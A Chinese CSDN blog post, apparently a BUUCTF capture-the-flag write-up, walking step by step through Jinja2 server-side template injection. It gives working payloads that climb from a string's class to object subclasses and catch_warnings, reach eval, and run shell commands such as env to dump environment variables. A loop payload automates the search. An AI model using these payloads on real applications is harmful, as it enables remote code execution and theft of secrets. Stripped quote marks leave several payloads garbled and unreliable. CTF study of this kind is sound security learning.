购房网站系统建设方案,网站代运营协议,网站建设服务有哪些,crm客户系统声明#xff1a;本篇文章csdn要我一天发两篇所以我来水的
跟ssti注入的详细知识我这里写了
https://blog.csdn.net/weixin_74790320/article/details/136154130
上面链接我复现了vulhub的SSTI#xff0c;其实本质上是一道题 然后我们就用{{.__class__}}看类的类型#xf…声明本篇文章csdn要我一天发两篇所以我来水的
跟ssti注入的详细知识我这里写了
https://blog.csdn.net/weixin_74790320/article/details/136154130
上面链接我复现了vulhub的SSTI其实本质上是一道题 然后我们就用{{.__class__}}看类的类型但是无所谓啥类型都可以,因为我们要找到的是他的基类然后通过基类去找子类 {{.__class__.__base__}}找到基类 然后找子类 然后在子类中找到catch_warnings这个类然后去这个类的全局变量里面找到eval
所以就可以命令执行然后flag在env环境变量里面
手工payload 1.先获取类
payload:
{{.__class__}} 先使用该payload来获取某个类这里可以获取到的是str类实际上获取到任何类都可以因为我们都最终目的是要获取到基类Object。
2.获取基类
payload:
{{.__class__.__bases__}} 3.获取基类的所有子类
payload:
{{.__class__.__base__.__subclasses__()}} 4.找所有存在eval的类
{{.__class__.__base__.__subclasses__()[166]}}
这里官方给了一个方向是catch_warnings类 然后我大概搞了一下这个类在第167个但是下标从0开始就是166个
5.选中这个类
先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti跟我靶机有点没分开就是我人晕了但是没有影响重要的是对name参数的注入
格式都是?namepayload
payload:
{{%27%27.__class__.__base__.__subclasses__()[166]}} 6.在这个类中找他的初始化函数里面的所有全局变量
然后看看这里面有没有危险函数eval
payload:
{{.__class__.__base__.__subclasses__()[166].__init__.__globals__}} 存在eval 然后我们怎么选择eval函数呢 找{}这种大括号 别问我为什么没有右括号我视力不好没看到在哪反正他被__builtins__这一个键里面的{}号包围了 所以怎么选择呢那就是 [__builtins__][eval] 找到危险函数那就是最后的代码执行阶段了
原本代码执行这么写eval(__import__(os).popen(env).read())
那已经选中了eval是不是右边加上(__import__(os).popen(env).read())这一部分就好了
7.代码执行
payload
?name{{.__class__.__base__.__subclasses__()[166].__init__.__globals__[__builtins__][eval](__import__(os).popen(env).read())}}
因为是buuctf的题所以我直接干出flag了flag在环境变量里所以意思就是我们只要代码执行env获取环境变量就好了
你自己玩的时候可以试下whoami也是可以的 官方payload
后面遍历需要代码跑一遍
{%code%}这里是代码的意思在ssti里面
payload:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ catch_warnings %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ {}.__class__ %} {% if eval in b.keys() %} {{ b[eval](__import__(os).popen(env).read()) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
解释在我上面的链接中
然后就可以看到flag了 flag{2108fec7-53f1-4e60-b65f-9ae1f959d501}